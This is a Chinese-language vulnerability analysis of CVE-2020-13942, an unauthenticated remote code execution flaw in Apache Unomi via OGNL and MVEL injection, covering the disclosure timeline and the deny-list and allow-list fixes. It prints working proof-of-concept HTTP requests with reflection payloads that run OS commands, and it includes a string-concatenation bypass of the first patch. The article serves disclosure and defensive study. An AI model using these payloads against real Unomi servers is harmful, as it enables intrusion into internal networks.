漏洞分析 - Apache Unomi RCE 第2篇 OGNL/MVEL注入(CVE-2020-13942)
2020-11-30 11:45:08 Author: xz.aliyun.com(查看原文) 阅读量:336 收藏

漏洞简介

上篇讲完了 CVE-2020-11975;
现在是下篇 CVE-2020-13942。

漏洞简介:
Checkmarx Security Research Team绕过了上一个patch(修复CVE-2020-11975的代码),再次实现了RCE,漏洞编号CVE-2020-13942。

远程攻击者发送带有了MVEL或OGNL表达式的请求,(因为MVEL和OGNL表达式可以包含任意类),可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。

因为MVEL表达式和OGNL表达式,是由Unomi的包里的不同的"内部程序包"(internal packages)里的不同的类进行计算/执行,所以CVE-2020-13942对应了2个独立的漏洞。

触发前提:
Apache Unomi < 1.5.2 的版本(如1.5.1),无需身份验证,能访问到就能RCE。

安全版本:
Apache Unomi >=1.5.2 修复了漏洞CVE-2020-13942.

漏洞评级:
这2个漏洞(名为CVE-2020-13942)的CVS分数均为10.0, 因为它们能访问OS,还能破坏Unomi的机密性,完整性。

Timeline:
June 24, 2020 – Vulnerability disclosed to Apache Unomi developers
August 20, 2020 – Code with the mix merged to master branch
November 13, 2020 – version 1.5.2 containing the fixed code is released
November 17, 2020 – public disclosure

漏洞分析

为什么上一个patch(修复CVE-2020-11975的代码)可被绕过?

因为那个patch的SecureFilteringClassLoader依赖于这样一个假设: “MVEL和OGNL表达式中的每个类都是通过使用ClassLoader类的loadClass()方法加载的。”

事实上,不通过调用loadClass()方法也能加载类。所以只要不调用loadClass(),就不会被SecureFilteringClassLoader限制, 也就是绕过了安全管控。

不调用loadClass()方法,怎么实现加载类的呢?

有2种注入办法,算是2个漏洞,编号都为CVE-2020-13942。

CVE-2020-13942 漏洞1 OGNL注入

下面这种方法可以在不调用loadClass()的情况下加载"OGNL表达式中的类"(classes inside OGNL expressions)。

例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoaderloadClass()方法。
下面的表达式调用Runtime.getruntime()来得到Runtime对象,然后调用exec()

(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#runtimemethod = #runtimeclass.getDeclaredMethods().
{^ #this.name.equals(\"getRuntime\")}[0]).
(#runtimeobject = #runtimemethod.invoke(null,null)).
(#execmethod = #runtimeclass.getDeclaredMethods().
{? #this.name.equals(\"exec\")}.
{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.
{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#runtimeobject,\"calc.exe\"))

PoC 保存到了这儿以便参考 https://github.com/1135/unomi_exploit

PoC: HTTP request with OGNL injection
以下(PoC)HTTP请求中的OGNL表达式,得到了Runtime并使用Java reflection API执行了一条OS命令。

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143

{
  "personalizations":[
    {
      "id":"gender-test_anystr",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2_anystr"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^  #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male_anystr"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"test-demo-session-id"
}

macOS 11.0.1下启动计算器/System/Applications/Calculator.app/Contents/MacOS/Calculator

payload看起来是一大堆字符,其实挺简单,比如执行系统命令touch /tmp/POC:
只是用reflection API写了Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");,并把它包装为OGNL语法。

Response如下(可能不重要,仅供参考)

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=79bbf636-11aa-4c3e-b276-2980c89874e9; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:20:20 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)

{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2_anystr"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}

CVE-2020-13942 漏洞2 MVEL注入

事实上,由于MVEL表达式不是原始漏洞的一部分,所以SecurityFilteringClassLoader对MVEL注入问题的防御效果没有进行彻底的测试。也就是说它仅能涵盖了一部分情况。

MVEL表达式使用"已经实例化的类"(already instantiated classes),访问那些已经存在的、现有的对象,如RuntimeSystem,不会调用loadClass()方法。
如,MVEL表达式 Runtime r = Runtime.getRuntime(); r.exec("calc.exe");

因为是访问已经存在的、现有的对象,而不是创建它,所以可绕过SecureFilteringClassLoader类引入的安全检查(见1.5.1版本的ConditionContextHelper类的executeScript方法)。

修复CVE-2020-11975之后,当时的最新版Unomi(1.5.1)下,可在"条件"(condition)内进行MVEL表达式的计算/运行,这个"条件"(condition)里包含了任意类。

下面的HTTP请求中有一个"条件"(condition),该"条件"(condition)带有1个参数,这个参数包含了一条MVEL表达式:
script::Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");

Unomi会解析这个值,并把script::之后的Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");当作一条MVEL表达式去执行。

PoC: HTTP request with MVEL injection
以下(PoC)HTTP请求中的MVEL表达式创建了一个Runtime对象并运行OS命令。

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564

{
    "filters": [
        {
            "id": "myfilter1_anystr",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test-demo-session-id_anystr"
}

测试成功。

Response如下(可能不重要,仅供参考)

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=281304ce-0687-42cb-9899-d596421bbb9e; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=54d3f93c-0b12-4a4c-9843-87738cdc986b; Path=/; Expires=Wed, 24-Nov-2021 03:26:27 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)

{"profileId":"54d3f93c-0b12-4a4c-9843-87738cdc986b","sessionId":"test-demo-session-id_anystr","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":{"myfilter1_anystr":false},"processedEvents":0,"personalizations":null,"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}

漏洞危害

成功绕过:
这2种方法都成功绕过了1.5.1版本中引入的"安全管控"(security control),在2个不同的位置都实现了RCE。

漏洞危害:
Unomi可以与(通常在内网中的)各种数据存储、和数据分析系统紧密集成。该漏洞通过公开endpoint触发,攻击者可在服务器上运行OS命令。
该漏洞可作为内网横向移动中的一环。

修复过程

大致过程:Apache Unomi开发者的第1次修复,没修复完全,第2次(最终修复方案)算是修复了漏洞CVE-2020-13942。

【第1次修复】
为了缓解这2个漏洞, Unomi开发人员提出了一系列控制措施:
1.默认情况下,对于公开的endpoints的MVEL表达式的计算/运行处于关闭状态,但对于非公开的endpoints仍然存在漏洞。
默认情况下,OGNL表达式的计算/运行在任何地方都处于关闭状态。

2.使用正则表达式来过滤掉MVEL脚本中不期望出现的对象,例如Runtime,ProcessBuilder等。
具体代码如下
https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java#L39-L49

// ExpressionFilter.java
public String filter(String expression) {
        if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) {
            logger.warn("Expression {} is forbidden by expression filter", expression);
            return null;
        }
        if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) {
            logger.warn("Expression {} is not allowed by expression filter", expression);
            return null;
        }
        return expression;
    }

3.Potentially dangerous classes like Runtime, ProcessBuilder, etc. are pointing to String class inside the MVEL runtime. (MvelScriptExecutor file in the right pane)

有潜在危险的类(如Runtime、ProcessBuilder等),指向MVEL runtime中的String类。
具体代码如下
https://github.com/apache/unomi/blob/0b81ba35dd3c3c2e0a92ce06592b3df90571eced/scripting/src/main/java/org/apache/unomi/scripting/MvelScriptExecutor.java#L58-L66

// MvelScriptExecutor.java
                    // override hardcoded Class Literals that are inserted by default in MVEL and that may be a security risk
                    parserContext.addImport("Runtime", String.class);
                    parserContext.addImport("System", String.class);
                    parserContext.addImport("ProcessBuilder", String.class);
                    parserContext.addImport("Class", String.class);
                    parserContext.addImport("ClassLoader", String.class);
                    parserContext.addImport("Thread", String.class);
                    parserContext.addImport("Compiler", String.class);
                    parserContext.addImport("ThreadLocal", String.class);
                    parserContext.addImport("SecurityManager", String.class);

【第1次修复】中提出的修复方案中的过滤是基于deny-list(黑名单)方法。这种方法从来都不是坚如磐石的安全管控,可能会被绕过。

这个filter允许计算/执行(经过过滤的那个MVEL表达式之内的)另一个MVEL表达式。这样做可以计算/执行恶意的MVEL表达式,从而避免了在MvelScriptExecutor中引入的潜在的危险的类覆盖。
Doing so allows evaluating the malicious MVEL expression avoiding the potentially dangerous classes override introduced in the MvelScriptExecutor.

下面这个MVEL表达式调用了MVEL.eval,实现了在不受限制的环境中计算/执行另一个MVEL表达式。

其中那个将被执行的表达式的字符串由多个字符串拼接而成,通过使用"字符串拼接"来绕过正则表达式检查危险的类(如Runtime),这些字符串会拼成一个字符串,作为一个参数,传入MVEL.eval

可以绕过第1次修复:

java.util.Map context = new java.util.HashMap();
org.mvel2.MVEL.eval(
  \" Runt\"+
  \"ime r = Run\"+
  \"time.getRu\"+
  \"ntime();r.exe\"+
  \"c('calc.exe') \", context);

【最终修复方案】
commits如下
https://github.com/apache/unomi/pull/179/commits/3bba224ccad3facffa6342a0b68dff06ee07dd89

最终修复方案引入了 对MVEL表达式的基于allow-list(白名单)的检查。 这个方案仅执行了明确允许了的表达式,因此不可能执行任意表达式。

能修改allowed-list吗?
表达式由ExpressionFilter类基于应用程序配置中定义的allowed-list进行过滤。 这个allowed-list在应用程序启动期间被加载,并且在应用程序运行时是不可变的,因此,不能在运行时修改这个allowed-list。

具体代码如下
https://github.com/apache/unomi/blob/master/scripting/src/main/java/org/apache/unomi/scripting/ExpressionFilter.java
附该文件的完整代码。

package org.apache.unomi.scripting;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.util.Set;
import java.util.regex.Pattern;

/**
 * An expression filter is used to allow/deny scripts for execution.
 */
public class ExpressionFilter {
    private static final Logger logger = LoggerFactory.getLogger(ExpressionFilter.class.getName());

    private final Set<Pattern> allowedExpressionPatterns;
    private final Set<Pattern> forbiddenExpressionPatterns;

    public ExpressionFilter(Set<Pattern> allowedExpressionPatterns, Set<Pattern> forbiddenExpressionPatterns) {
        this.allowedExpressionPatterns = allowedExpressionPatterns;
        this.forbiddenExpressionPatterns = forbiddenExpressionPatterns;
    }

    public String filter(String expression) {
        if (forbiddenExpressionPatterns != null && expressionMatches(expression, forbiddenExpressionPatterns)) {
            logger.warn("Expression {} is forbidden by expression filter", expression);
            return null;
        }
        if (allowedExpressionPatterns != null && !expressionMatches(expression, allowedExpressionPatterns)) {
            logger.warn("Expression {} is not allowed by expression filter", expression);
            return null;
        }
        return expression;
    }

    private boolean expressionMatches(String expression, Set<Pattern> patterns) {
        for (Pattern pattern : patterns) {
            if (pattern.matcher(expression).matches()) {
                return true;
            }
        }
        return false;
    }
}

总结

从这个例子看出,有的漏洞修复代码只针对了特定的payload,再次证明了黑名单的修复方案往往容易被绕过。

"用户定义的表达式语言语句"(user-defined expression language statements)的计算/执行,非常危险且难以约束。

Struts 2是一个经典的例子,说明限制动态OGNL表达式(避免RCE)有多困难。
这些尝试是从EL内部/在EL上实施了使用限制,而不是出于通用目的"限制污染了的EL的使用",这是一种反复迭代的修复方案(总被绕过),而不是最终修复方案。

最终修复方案:
防止RCE的一种更可靠的方法是彻底删除对任意EL expressions的支持,创建一组依赖于 "动态参数"(dynamic parameters) 的 "静态表达式"(static expressions)。


文章来源: http://xz.aliyun.com/t/8565
如有侵权请联系:admin#unsafe.sh